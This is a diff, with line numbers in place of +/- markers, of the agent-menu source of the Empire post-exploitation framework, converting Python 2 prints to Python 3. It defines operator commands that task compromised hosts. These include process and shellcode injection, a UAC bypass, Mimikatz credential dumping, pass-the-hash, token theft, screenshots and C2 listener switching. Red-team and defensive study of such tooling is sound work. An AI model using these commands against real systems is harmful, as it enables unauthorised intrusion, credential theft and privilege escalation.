21872228 # absolute paths accepted
21882229 parts = line.strip().split(' ')
21892230 uploadname = ""
2190
2231
21912232 if len(parts) > 0 and parts[0] != "":
21922233 if len(parts) == 1:
21932234 # if we're uploading the file with its original name
21952236 else:
21962237 # if we're uploading the file as a different name
21972238 uploadname = parts[1].strip()
2198
2239
21992240 if parts[0] != "" and os.path.exists(parts[0]):
22002241 # Check the file size against the upload limit of 1 mb
2201
2242
22022243 # read in the file and base64 encode it for transport
22032244 open_file = open(parts[0], 'r')
22042245 file_data = open_file.read()
22052246 open_file.close()
2206
2247
22072248 size = os.path.getsize(parts[0])
22082249 if size > 1048576:
2209 print helpers.color("[!] File size is too large. Upload limit is 1MB.")
2250 print(helpers.color("[!] File size is too large. Upload limit is 1MB."))
22102251 else:
22112252 # dispatch this event
22122253 message = "[*] Tasked agent to upload {}, {}".format(uploadname, helpers.get_file_size(file_data))
22182259 'file_size': helpers.get_file_size(file_data)
22192260 })
22202261 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2221
2262
22222263 # update the agent log
22232264 msg = "Tasked agent to upload %s : %s" % (parts[0], hashlib.md5(file_data).hexdigest())
22242265 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2225
2266
22262267 # upload packets -> "filename | script data"
22272268 file_data = helpers.encode_base64(file_data)
22282269 data = uploadname + "|" + file_data
22292270 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_UPLOAD", data)
22302271 else:
2231 print helpers.color("[!] Please enter a valid file path to upload")
2232
2233
2272 print(helpers.color("[!] Please enter a valid file path to upload"))
2273
2274
22342275 def do_scriptimport(self, line):
22352276 "Imports a PowerShell script and keeps it in memory in the agent."
2236
2277
22372278 path = line.strip()
2238
2279
22392280 if path != "" and os.path.exists(path):
22402281 open_file = open(path, 'r')
22412282 script_data = open_file.read()
22422283 open_file.close()
2243
2284
22442285 # strip out comments and blank lines from the imported script
22452286 script_data = helpers.strip_powershell_comments(script_data)
2246
2287
22472288 # task the agent to important the script
22482289 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SCRIPT_IMPORT", script_data)
2249
2290
22502291 # dispatch this event
22512292 message = "[*] Tasked agent to import {}: {}".format(path, hashlib.md5(script_data).hexdigest())
22522293 signal = json.dumps({
22562297 'import_md5': hashlib.md5(script_data).hexdigest()
22572298 })
22582299 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2259
2300
22602301 # update the agent log with the filename and MD5
22612302 msg = "Tasked agent to import %s : %s" % (path, hashlib.md5(script_data).hexdigest())
22622303 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2263
2304
22642305 # extract the functions from the script so we can tab-complete them
22652306 functions = helpers.parse_powershell_script(script_data)
2266
2307
22672308 # set this agent's tab-completable functions
22682309 self.mainMenu.agents.set_agent_functions_db(self.sessionID, functions)
2269
2270 else:
2271 print helpers.color("[!] Please enter a valid script path")
2272
2273
2310
2311 else:
2312 print(helpers.color("[!] Please enter a valid script path"))
2313
2314
22742315 def do_scriptcmd(self, line):
22752316 "Execute a function in the currently imported PowerShell script."
2276
2317
22772318 command = line.strip()
2278
2319
22792320 if command != "":
22802321 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SCRIPT_COMMAND", command)
2281
2322
22822323 # dispatch this event
22832324 message = "[*] Tasked agent {} to run {}".format(self.sessionID, command)
22842325 signal = json.dumps({
22862327 'message': message
22872328 })
22882329 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2289
2330
22902331 msg = "[*] Tasked agent %s to run %s" % (self.sessionID, command)
22912332 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2292
2293
2333
2334
22942335 def do_usemodule(self, line):
22952336 "Use an Empire PowerShell module."
2296
2337
22972338 # Strip asterisks added by MainMenu.complete_usemodule()
22982339 module = "powershell/%s" %(line.strip().rstrip("*"))
2299
2340
23002341 if module not in self.mainMenu.modules.modules:
2301 print helpers.color("[!] Error: invalid module")
2342 print(helpers.color("[!] Error: invalid module"))
23022343 else:
23032344 module_menu = ModuleMenu(self.mainMenu, module, agent=self.sessionID)
23042345 module_menu.cmdloop()
2305
2306
2346
2347
23072348 def do_searchmodule(self, line):
23082349 "Search Empire module names/descriptions."
2309
2350
23102351 search_term = line.strip()
2311
2352
23122353 if search_term.strip() == "":
2313 print helpers.color("[!] Please enter a search term.")
2354 print(helpers.color("[!] Please enter a search term."))
23142355 else:
23152356 self.mainMenu.modules.search_modules(search_term)
2316
2317
2357
2358
23182359 def do_updateprofile(self, line):
23192360 "Update an agent connection profile."
2320
2361
23212362 # profile format:
23222363 # TaskURI1,TaskURI2,...|UserAgent|OptionalHeader1,OptionalHeader2...
2323
2364
23242365 profile = line.strip().strip()
2325
2366
23262367 if profile != "":
23272368 # load up a profile from a file if a path was passed
23282369 if os.path.exists(profile):
23292370 open_file = open(profile, 'r')
23302371 profile = open_file.readlines()
23312372 open_file.close()
2332
2373
23332374 # strip out profile comments and blank lines
23342375 profile = [l for l in profile if not l.startswith("#" and l.strip() != "")]
23352376 profile = profile[0]
2336
2377
23372378 if not profile.strip().startswith("\"/"):
2338 print helpers.color("[!] Task URIs in profiles must start with / and be enclosed in quotes!")
2379 print(helpers.color("[!] Task URIs in profiles must start with / and be enclosed in quotes!"))
23392380 else:
23402381 updatecmd = "Update-Profile " + profile
2341
2382
23422383 # task the agent to update their profile
23432384 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", updatecmd)
2344
2385
23452386 # dispatch this event
23462387 message = "[*] Tasked agent to update profile {}".format(profile)
23472388 signal = json.dumps({
23492390 'message': message
23502391 })
23512392 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2352
2393
23532394 # update the agent log
23542395 msg = "Tasked agent to update profile " + profile
23552396 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2356
2357 else:
2358 print helpers.color("[*] Profile format is \"TaskURI1,TaskURI2,...|UserAgent|OptionalHeader2:Val1|OptionalHeader2:Val2...\"")
2359
2397
2398 else:
2399 print(helpers.color("[*] Profile format is \"TaskURI1,TaskURI2,...|UserAgent|OptionalHeader2:Val1|OptionalHeader2:Val2...\""))
2400
23602401 def do_updatecomms(self, line):
23612402 "Dynamically update the agent comms to another listener"
2362
2403
23632404 # generate comms for the listener selected
23642405 if line:
23652406 listenerID = line.strip()
23662407 if not self.mainMenu.listeners.is_listener_valid(listenerID):
2367 print helpers.color("[!] Please enter a valid listenername.")
2408 print(helpers.color("[!] Please enter a valid listenername."))
23682409 else:
23692410 activeListener = self.mainMenu.listeners.activeListeners[listenerID]
23702411 if activeListener['moduleName'] != 'meterpreter' or activeListener['moduleName'] != 'http_mapi':
23712412 listenerOptions = activeListener['options']
23722413 listenerComms = self.mainMenu.listeners.loadedListeners[activeListener['moduleName']].generate_comms(listenerOptions, language="powershell")
2373
2414
23742415 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_UPDATE_LISTENERNAME", listenerOptions['Name']['Value'])
23752416 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_SWITCH_LISTENER", listenerComms)
23762417
23772418 msg = "Tasked agent to update comms to %s listener" % listenerID
23782419 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
23792420 else:
2380 print helpers.color("[!] Ineligible listener for updatecomms command: %s" % activeListener['moduleName'])
2381
2382 else:
2383 print helpers.color("[!] Please enter a valid listenername.")
2384
2421 print(helpers.color("[!] Ineligible listener for updatecomms command: %s" % activeListener['moduleName']))
2422
2423 else:
2424 print(helpers.color("[!] Please enter a valid listenername."))
2425
23852426 def do_psinject(self, line):
23862427 "Inject a launcher into a remote process. Ex. psinject <listener> <pid/process_name>"
2387
2428
23882429 # get the info for the psinject module
23892430 if line:
2390
2431
23912432 if self.mainMenu.modules.modules['powershell/management/psinject']:
2392
2433
23932434 module = self.mainMenu.modules.modules['powershell/management/psinject']
23942435 listenerID = line.split(' ')[0].strip()
23952436 module.options['Listener']['Value'] = listenerID
2396
2437
23972438 if listenerID != '' and self.mainMenu.listeners.is_listener_valid(listenerID):
23982439 if len(line.split(' ')) == 2:
23992440 target = line.split(' ')[1].strip()
24032444 else:
24042445 module.options['ProcName']['Value'] = target
24052446 module.options['ProcId']['Value'] = ''
2406
2447
24072448 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
24082449 module_menu = ModuleMenu(self.mainMenu, 'powershell/management/psinject')
24092450 module_menu.do_execute("")
2410
2451
24112452 else:
2412 print helpers.color("[!] Please enter <listenerName> <pid>")
2413
2453 print(helpers.color("[!] Please enter <listenerName> <pid>"))
2454
24142455 else:
2415 print helpers.color("[!] powershell/management/psinject module not loaded")
2416
2417 else:
2418 print helpers.color("[!] Injection requires you to specify listener")
2419
2420
2456 print(helpers.color("[!] powershell/management/psinject module not loaded"))
2457
2458 else:
2459 print(helpers.color("[!] Injection requires you to specify listener"))
2460
2461
24212462 def do_shinject(self, line):
24222463 "Inject non-meterpreter listener shellcode into a remote process. Ex. shinject <listener> <pid>"
2423
2464
24242465 if line:
24252466 if self.mainMenu.modules.modules['powershell/management/shinject']:
24262467 module = self.mainMenu.modules.modules['powershell/management/shinject']
24282469 arch = line.split(' ')[-1]
24292470 module.options['Listener']['Value'] = listenerID
24302471 module.options['Arch']['Value'] = arch
2431
2472
24322473 if listenerID != '' and self.mainMenu.listeners.is_listener_valid(listenerID):
24332474 if len(line.split(' ')) == 3:
24342475 target = line.split(' ')[1].strip()
24352476 if target.isdigit():
24362477 module.options['ProcId']['Value'] = target
24372478 else:
2438 print helpers.color('[!] Please enter a valid process ID.')
2439
2479 print(helpers.color('[!] Please enter a valid process ID.'))
2480
24402481 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
24412482 module_menu = ModuleMenu(self.mainMenu, 'powershell/management/shinject')
24422483 module_menu.do_execute("")
24432484 else:
2444 print helpers.color('[!] Please select a valid listener')
2485 print(helpers.color('[!] Please select a valid listener'))
24452486
24462487 else:
2447 print helpers.color("[!] powershell/management/psinject module not loaded")
2448
2449 else:
2450 print helpers.color("[!] Injection requires you to specify listener")
2451
2488 print(helpers.color("[!] powershell/management/psinject module not loaded"))
2489
2490 else:
2491 print(helpers.color("[!] Injection requires you to specify listener"))
2492
24522493 def do_injectshellcode(self, line):
24532494 "Inject listener shellcode into a remote process. Ex. injectshellcode <meter_listener> <pid>"
2454
2495
24552496 # get the info for the inject module
24562497 if line:
24572498 listenerID = line.split(' ')[0].strip()
24582499 pid = ''
2459
2500
24602501 if len(line.split(' ')) == 2:
24612502 pid = line.split(' ')[1].strip()
2462
2503
24632504 if self.mainMenu.modules.modules['powershell/code_execution/invoke_shellcode']:
2464
2505
24652506 if listenerID != '' and self.mainMenu.listeners.is_listener_valid(listenerID):
2466
2507
24672508 module = self.mainMenu.modules.modules['powershell/code_execution/invoke_shellcode']
24682509 module.options['Listener']['Value'] = listenerID
24692510 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2470
2511
24712512 if pid != '':
24722513 module.options['ProcessID']['Value'] = pid
2473
2514
24742515 module_menu = ModuleMenu(self.mainMenu, 'powershell/code_execution/invoke_shellcode')
24752516 module_menu.cmdloop()
2476
2517
24772518 else:
2478 print helpers.color("[!] Please enter <listenerName> <pid>")
2479
2519 print(helpers.color("[!] Please enter <listenerName> <pid>"))
2520
24802521 else:
2481 print helpers.color("[!] powershell/code_execution/invoke_shellcode module not loaded")
2482
2483 else:
2484 print helpers.color("[!] Injection requires you to specify listener")
2485
2486
2522 print(helpers.color("[!] powershell/code_execution/invoke_shellcode module not loaded"))
2523
2524 else:
2525 print(helpers.color("[!] Injection requires you to specify listener"))
2526
2527
24872528 def do_sc(self, line):
24882529 "Takes a screenshot, default is PNG. Giving a ratio means using JPEG. Ex. sc [1-100]"
2489
2530
24902531 # get the info for the psinject module
24912532 if len(line.strip()) > 0:
24922533 # JPEG compression ratio
24932534 try:
24942535 screenshot_ratio = str(int(line.strip()))
24952536 except Exception:
2496 print helpers.color("[*] JPEG Ratio incorrect. Has been set to 80.")
2537 print(helpers.color("[*] JPEG Ratio incorrect. Has been set to 80."))
24972538 screenshot_ratio = "80"
24982539 else:
24992540 screenshot_ratio = ''
2500
2541
25012542 if self.mainMenu.modules.modules['powershell/collection/screenshot']:
25022543 module = self.mainMenu.modules.modules['powershell/collection/screenshot']
25032544 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
25042545 module.options['Ratio']['Value'] = screenshot_ratio
2505
2546
25062547 # execute the screenshot module
25072548 module_menu = ModuleMenu(self.mainMenu, 'powershell/collection/screenshot')
25082549 module_menu.do_execute("")
2509
2510 else:
2511 print helpers.color("[!] powershell/collection/screenshot module not loaded")
2512
2513
2550
2551 else:
2552 print(helpers.color("[!] powershell/collection/screenshot module not loaded"))
2553
2554
25142555 def do_spawn(self, line):
25152556 "Spawns a new Empire agent for the given listener name. Ex. spawn <listener>"
2516
2557
25172558 # get the info for the spawn module
25182559 if line:
25192560 listenerID = line.split(' ')[0].strip()
2520
2561
25212562 if listenerID != '' and self.mainMenu.listeners.is_listener_valid(listenerID):
2522
2563
25232564 # ensure the inject module is loaded
25242565 if self.mainMenu.modules.modules['powershell/management/spawn']:
25252566 module = self.mainMenu.modules.modules['powershell/management/spawn']
2526
2567
25272568 module.options['Listener']['Value'] = listenerID
25282569 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2529
2570
25302571 # jump to the spawn module
25312572 module_menu = ModuleMenu(self.mainMenu, "powershell/management/spawn")
25322573 module_menu.cmdloop()
2533
2574
25342575 else:
2535 print helpers.color("[!] management/spawn module not loaded")
2536
2576 print(helpers.color("[!] management/spawn module not loaded"))
2577
25372578 else:
2538 print helpers.color("[!] Please enter a valid listener name or ID.")
2539
2540 else:
2541 print helpers.color("[!] Please specify a listener name or ID.")
2542
2543
2579 print(helpers.color("[!] Please enter a valid listener name or ID."))
2580
2581 else:
2582 print(helpers.color("[!] Please specify a listener name or ID."))
2583
2584
25442585 def do_bypassuac(self, line):
25452586 "Runs BypassUAC, spawning a new high-integrity agent for a listener. Ex. spawn <listener>"
2546
2587
25472588 # get the info for the bypassuac module
25482589 if line:
25492590 listenerID = line.split(' ')[0].strip()
2550
2591
25512592 if listenerID != '' and self.mainMenu.listeners.is_listener_valid(listenerID):
2552
2593
25532594 # ensure the inject module is loaded
25542595 if self.mainMenu.modules.modules['powershell/privesc/bypassuac_eventvwr']:
25552596 module = self.mainMenu.modules.modules['powershell/privesc/bypassuac_eventvwr']
2556
2597
25572598 module.options['Listener']['Value'] = listenerID
25582599 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2559
2600
25602601 # jump to the spawn module
25612602 module_menu = ModuleMenu(self.mainMenu, 'powershell/privesc/bypassuac_eventvwr')
25622603 module_menu.do_execute('')
2563
2604
25642605 else:
2565 print helpers.color("[!] powershell/privesc/bypassuac_eventvwr module not loaded")
2566
2606 print(helpers.color("[!] powershell/privesc/bypassuac_eventvwr module not loaded"))
2607
25672608 else:
2568 print helpers.color("[!] Please enter a valid listener name or ID.")
2569
2570 else:
2571 print helpers.color("[!] Please specify a listener name or ID.")
2572
2573
2609 print(helpers.color("[!] Please enter a valid listener name or ID."))
2610
2611 else:
2612 print(helpers.color("[!] Please specify a listener name or ID."))
2613
2614
25742615 def do_mimikatz(self, line):
25752616 "Runs Invoke-Mimikatz on the client."
2576
2617
25772618 # ensure the credentials/mimiktaz/logonpasswords module is loaded
25782619 if self.mainMenu.modules.modules['powershell/credentials/mimikatz/logonpasswords']:
25792620 module = self.mainMenu.modules.modules['powershell/credentials/mimikatz/logonpasswords']
2580
2621
25812622 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2582
2623
25832624 # execute the Mimikatz module
25842625 module_menu = ModuleMenu(self.mainMenu, 'powershell/credentials/mimikatz/logonpasswords')
25852626 module_menu.do_execute('')
2586
2587
2627
2628
25882629 def do_pth(self, line):
25892630 "Executes PTH for a CredID through Mimikatz."
2590
2631
25912632 credID = line.strip()
2592
2633
25932634 if credID == '':
2594 print helpers.color("[!] Please specify a <CredID>.")
2635 print(helpers.color("[!] Please specify a <CredID>."))
25952636 return
2596
2637
25972638 if self.mainMenu.modules.modules['powershell/credentials/mimikatz/pth']:
25982639 # reload the module to reset the default values
25992640 module = self.mainMenu.modules.reload_module('powershell/credentials/mimikatz/pth')
2600
2641
26012642 module = self.mainMenu.modules.modules['powershell/credentials/mimikatz/pth']
2602
2643
26032644 # set mimikt/pth to use the given CredID
26042645 module.options['CredID']['Value'] = credID
2605
2646
26062647 # set the agent ID
26072648 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2608
2649
26092650 # execute the mimikatz/pth module
26102651 module_menu = ModuleMenu(self.mainMenu, 'powershell/credentials/mimikatz/pth')
26112652 module_menu.do_execute('')
2612
2613
2653
2654
26142655 def do_steal_token(self, line):
26152656 "Uses credentials/tokens to impersonate a token for a given process ID."
2616
2657
26172658 processID = line.strip()
2618
2659
26192660 if processID == '':
2620 print helpers.color("[!] Please specify a process ID.")
2661 print(helpers.color("[!] Please specify a process ID."))
26212662 return
2622
2663
26232664 if self.mainMenu.modules.modules['powershell/credentials/tokens']:
26242665 # reload the module to reset the default values
26252666 module = self.mainMenu.modules.reload_module('powershell/credentials/tokens')
2626
2667
26272668 module = self.mainMenu.modules.modules['powershell/credentials/tokens']
2628
2669
26292670 # set credentials/token to impersonate the given process ID token
26302671 module.options['ImpersonateUser']['Value'] = 'True'
26312672 module.options['ProcessID']['Value'] = processID
2632
2673
26332674 # set the agent ID
26342675 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2635
2676
26362677 # execute the token module
26372678 module_menu = ModuleMenu(self.mainMenu, 'powershell/credentials/tokens')
26382679 module_menu.do_execute('')
2639
2680
26402681 # run a sysinfo to update
26412682 self.do_sysinfo(line)
2642
2643
2683
2684
26442685 def do_revtoself(self, line):
26452686 "Uses credentials/tokens to revert token privileges."
2646
2687
26472688 if self.mainMenu.modules.modules['powershell/credentials/tokens']:
26482689 # reload the module to reset the default values
26492690 module = self.mainMenu.modules.reload_module('powershell/credentials/tokens')
2650
2691
26512692 module = self.mainMenu.modules.modules['powershell/credentials/tokens']
2652
2693
26532694 # set credentials/token to revert to self
26542695 module.options['RevToSelf']['Value'] = "True"
2655
2696
26562697 # set the agent ID
26572698 module.options['Agent']['Value'] = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2658
2699
26592700 # execute the token module
26602701 module_menu = ModuleMenu(self.mainMenu, "powershell/credentials/tokens")
26612702 module_menu.do_execute('')
2662
2703
26632704 # run a sysinfo to update
26642705 self.do_sysinfo(line)
2665
2666
2706
2707
26672708 def do_creds(self, line):
26682709 "Display/return credentials from the database."
26692710 self.mainMenu.do_creds(line)
2670
2711
26712712 def complete_updatecomms(self, text, line, begidx, endidx):
26722713 "Tab-complete updatecomms option values"
2673
2714
26742715 return self.complete_psinject(text, line, begidx, endidx)
2675
2716
26762717 def complete_shinject(self, text, line, begidx, endidx):
26772718 "Tab-complete psinject option values."
2678
2719
26792720 return self.complete_psinject(text, line, begidx, endidx)
2680
2721
26812722 def complete_psinject(self, text, line, begidx, endidx):
26822723 "Tab-complete psinject option values."
2683
2724
26842725 mline = line.partition(' ')[2]
26852726 offs = len(mline) - len(text)
26862727 return [s[offs:] for s in self.mainMenu.listeners.get_listener_names() if s.startswith(mline)]
2687
2688
2728
2729
26892730 def complete_injectshellcode(self, text, line, begidx, endidx):
26902731 "Tab-complete injectshellcode option values."
2691
2732
26922733 return self.complete_psinject(text, line, begidx, endidx)
2693
2694
2734
2735
26952736 def complete_spawn(self, text, line, begidx, endidx):
26962737 "Tab-complete spawn option values."
2697
2738
26982739 return self.complete_psinject(text, line, begidx, endidx)
2699
2700
2740
2741
27012742 def complete_bypassuac(self, text, line, begidx, endidx):
27022743 "Tab-complete bypassuac option values."
2703
2744
27042745 return self.complete_psinject(text, line, begidx, endidx)
2705
2706
2746
2747
27072748 def complete_jobs(self, text, line, begidx, endidx):
27082749 "Tab-complete jobs management options."
2709
2750
27102751 mline = line.partition(' ')[2]
27112752 offs = len(mline) - len(text)
27122753 return [s[offs:] for s in ["kill"] if s.startswith(mline)]
2713
2714
2754
2755
27152756 def complete_scriptimport(self, text, line, begidx, endidx):
27162757 "Tab-complete a PowerShell script path"
2717
2758
27182759 return helpers.complete_path(text, line)
2719
2720
2760
2761
27212762 def complete_scriptcmd(self, text, line, begidx, endidx):
27222763 "Tab-complete a script cmd set."
2723
2764
27242765 functions = self.mainMenu.agents.get_agent_functions(self.sessionID)
2725
2766
27262767 mline = line.partition(' ')[2]
27272768 offs = len(mline) - len(text)
27282769 return [s[offs:] for s in functions if s.startswith(mline)]
2729
2730
2770
2771
27312772 def complete_usemodule(self, text, line, begidx, endidx):
27322773 "Tab-complete an Empire PowerShell module path"
27332774 return self.mainMenu.complete_usemodule(text, line, begidx, endidx, language='powershell')
2734
2735
2775
2776
27362777 def complete_upload(self, text, line, begidx, endidx):
27372778 "Tab-complete an upload file path"
27382779 return helpers.complete_path(text, line)
2739
2740
2780
2781
27412782 def complete_updateprofile(self, text, line, begidx, endidx):
27422783 "Tab-complete an updateprofile path"
27432784 return helpers.complete_path(text, line)
2744
2745
2785
2786
27462787 def complete_creds(self, text, line, begidx, endidx):
27472788 "Tab-complete 'creds' commands."
27482789 return self.mainMenu.complete_creds(text, line, begidx, endidx)
27492790
27502791
27512792 class PythonAgentMenu(SubMenu):
2752
2793
27532794 def __init__(self, mainMenu, sessionID):
2754
2795
27552796 SubMenu.__init__(self, mainMenu)
2756
2797
27572798 self.sessionID = sessionID
2758
2799
27592800 self.doc_header = 'Agent Commands'
2760
2801
27612802 dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any)
2762
2803
27632804 # try to resolve the sessionID to a name
27642805 name = self.mainMenu.agents.get_agent_name_db(sessionID)
2765
2806
27662807 # set the text prompt
27672808 self.prompt = '(Empire: ' + helpers.color(name, 'red') + ') > '
2768
2809
27692810 # listen for messages from this specific agent
27702811 #dispatcher.connect(self.handle_agent_event, sender=dispatcher.Any)
2771
2812
27722813 # agent commands that have opsec-safe alises in the agent code
27732814 self.agentCommands = ['ls', 'rm', 'pwd', 'mkdir', 'whoami', 'getuid', 'hostname']
2774
2815
27752816 # display any results from the database that were stored
27762817 # while we weren't interacting with the agent
27772818 results = self.mainMenu.agents.get_agent_results_db(self.sessionID)
27782819 if results:
2779 print "\n" + results.rstrip('\r\n')
2780
2820 print("\n" + results.rstrip('\r\n'))
2821
27812822 def handle_agent_event(self, signal, sender):
27822823 """
27832824 Handle agent event signals
27882829 except ValueError:
27892830 print(helpers.color("[!] Error: bad signal recieved {} from sender {}".format(signal, sender)))
27902831 return
2791
2832
27922833 if '{} returned results'.format(self.sessionID) in signal:
27932834 results = self.mainMenu.agents.get_agent_results_db(self.sessionID)
27942835 if results:
27952836 print(helpers.color(results))
2796
2837
27972838 def default(self, line):
27982839 "Default handler"
27992840 line = line.strip()
28002841 parts = line.split(' ')
2801
2842
28022843 if len(parts) > 0:
28032844 # check if we got an agent command
28042845 if parts[0] in self.agentCommands:
28092850 msg = "Tasked agent to run command " + line
28102851 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
28112852 else:
2812 print helpers.color("[!] Command not recognized.")
2813 print helpers.color("[*] Use 'help' or 'help agentcmds' to see available commands.")
2814
2853 print(helpers.color("[!] Command not recognized."))
2854 print(helpers.color("[*] Use 'help' or 'help agentcmds' to see available commands."))
2855
28152856 def do_help(self, *args):
28162857 "Displays the help menu or syntax for particular commands."
28172858 SubMenu.do_help(self, *args)
2818
2819
2859
2860
28202861 def do_list(self, line):
28212862 "Lists all active agents (or listeners)."
2822
2863
28232864 if line.lower().startswith("listeners"):
28242865 self.mainMenu.do_list("listeners " + str(' '.join(line.split(' ')[1:])))
28252866 elif line.lower().startswith("agents"):
28262867 self.mainMenu.do_list("agents " + str(' '.join(line.split(' ')[1:])))
28272868 else:
2828 print helpers.color("[!] Please use 'list [agents/listeners] <modifier>'.")
2829
2830
2869 print(helpers.color("[!] Please use 'list [agents/listeners] <modifier>'."))
2870
2871
28312872 def do_rename(self, line):
28322873 "Rename the agent."
2833
2874
28342875 parts = line.strip().split(' ')
28352876 oldname = self.mainMenu.agents.get_agent_name_db(self.sessionID)
2836
2877
28372878 # name sure we get a new name to rename this agent
28382879 if len(parts) == 1 and parts[0].strip() != '':
28392880 # replace the old name with the new name
28412882 if result:
28422883 self.prompt = "(Empire: " + helpers.color(parts[0], 'red') + ") > "
28432884 else:
2844 print helpers.color("[!] Please enter a new name for the agent")
2845
2846
2885 print(helpers.color("[!] Please enter a new name for the agent"))
2886
2887
28472888 def do_info(self, line):
28482889 "Display information about this agent"
2849
2890
28502891 # get the agent name, if applicable
28512892 agent = self.mainMenu.agents.get_agent_db(self.sessionID)
28522893 messages.display_agent(agent)
2853
2854
2894
2895
28552896 def do_exit(self, line):
28562897 "Task agent to exit."
2857
2898
28582899 try:
2859 choice = raw_input(helpers.color("[>] Task agent to exit? [y/N] ", "red"))
2900 choice = input(helpers.color("[>] Task agent to exit? [y/N] ", "red"))
28602901 if choice.lower() == "y":
2861
2902
28622903 self.mainMenu.agents.add_agent_task_db(self.sessionID, 'TASK_EXIT')
2863
2904
28642905 # dispatch this event
28652906 message = "[*] Tasked agent to exit"
28662907 signal = json.dumps({
28682909 'message': message
28692910 })
28702911 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2871
2912
28722913 # update the agent log
28732914 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to exit")
28742915 raise NavAgents
2875
2916
28762917 except KeyboardInterrupt as e:
2877 print ""
2878
2879
2918 print("")
2919
2920
28802921 def do_clear(self, line):
28812922 "Clear out agent tasking."
28822923 self.mainMenu.agents.clear_agent_tasks_db(self.sessionID)
2883
2884
2924
2925
28852926 def do_cd(self, line):
28862927 "Change an agent's active directory"
2887
2928
28882929 line = line.strip()
2889
2930
28902931 if line != "":
28912932 # have to be careful with inline python and no threading
28922933 # this can cause the agent to crash so we will use try / cath
28952936 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", 'import os; os.chdir(os.pardir); print "Directory stepped down: %s"' % (line))
28962937 else:
28972938 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", 'import os; os.chdir("%s"); print "Directory changed to: %s"' % (line, line))
2898
2939
28992940 # dispatch this event
29002941 message = "[*] Tasked agent to change active directory to {}".format(line)
29012942 signal = json.dumps({
29032944 'message': message
29042945 })
29052946 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2906
2947
29072948 # update the agent log
29082949 msg = "Tasked agent to change active directory to: %s" % (line)
29092950 self.mainMenu.agents.save_agent_log(self.sessionID, msg)
2910
2911
2951
2952
29122953 def do_jobs(self, line):
29132954 "Return jobs or kill a running job."
2914
2955
29152956 parts = line.split(' ')
2916
2957
29172958 if len(parts) == 1:
29182959 if parts[0] == '':
29192960 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_GETJOBS")
2920
2961
29212962 # dispatch this event
29222963 message = "[*] Tasked agent to get running jobs"
29232964 signal = json.dumps({
29252966 'message': message
29262967 })
29272968 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2928
2969
29292970 # update the agent log
29302971 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to get running jobs")
29312972 else:
2932 print helpers.color("[!] Please use form 'jobs kill JOB_ID'")
2973 print(helpers.color("[!] Please use form 'jobs kill JOB_ID'"))
29332974 elif len(parts) == 2:
29342975 jobID = parts[1].strip()
29352976 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_STOPJOB", jobID)
2936
2977
29372978 # dispatch this event
29382979 message = "[*] Tasked agent to get stop job {}".format(jobID)
29392980 signal = json.dumps({
29412982 'message': message
29422983 })
29432984 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2944
2985
29452986 # update the agent log
29462987 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to stop job " + str(jobID))
2947
2948
2988
2989
29492990 def do_sleep(self, line):
29502991 "Task an agent to 'sleep interval [jitter]'"
2951
2992
29522993 parts = line.strip().split(' ')
29532994 delay = parts[0]
2954
2995
29552996 # make sure we pass a int()
29562997 if len(parts) >= 1:
29572998 try:
29582999 int(delay)
29593000 except:
2960 print helpers.color("[!] Please only enter integer for 'interval'")
3001 print(helpers.color("[!] Please only enter integer for 'interval'"))
29613002 return
2962
3003
29633004 if len(parts) > 1:
29643005 try:
29653006 int(parts[1])
29663007 except:
2967 print helpers.color("[!] Please only enter integer for '[jitter]'")
3008 print(helpers.color("[!] Please only enter integer for '[jitter]'"))
29683009 return
2969
3010
29703011 if delay == "":
29713012 # task the agent to display the delay/jitter
29723013 self.mainMenu.agents.add_agent_task_db(self.sessionID, "TASK_CMD_WAIT", "global delay; global jitter; print 'delay/jitter = ' + str(delay)+'/'+str(jitter)")
2973
3014
29743015 # dispatch this event
29753016 message = "[*] Tasked agent to display delay/jitter"
29763017 signal = json.dumps({
29783019 'message': message
29793020 })
29803021 dispatcher.send(signal, sender="agents/{}".format(self.sessionID))
2981
3022
29823023 self.mainMenu.agents.save_agent_log(self.sessionID, "Tasked agent to display delay/jitter")
2983
3024
29843025 elif len(parts) > 0 and parts[0] != "":
29853026 delay = parts[0]
29863027 jitter = 0.0
29873028 if len(parts) == 2:
29883029 jitter = parts[1]
2989
3030
29903031 # update this agent's information in the database
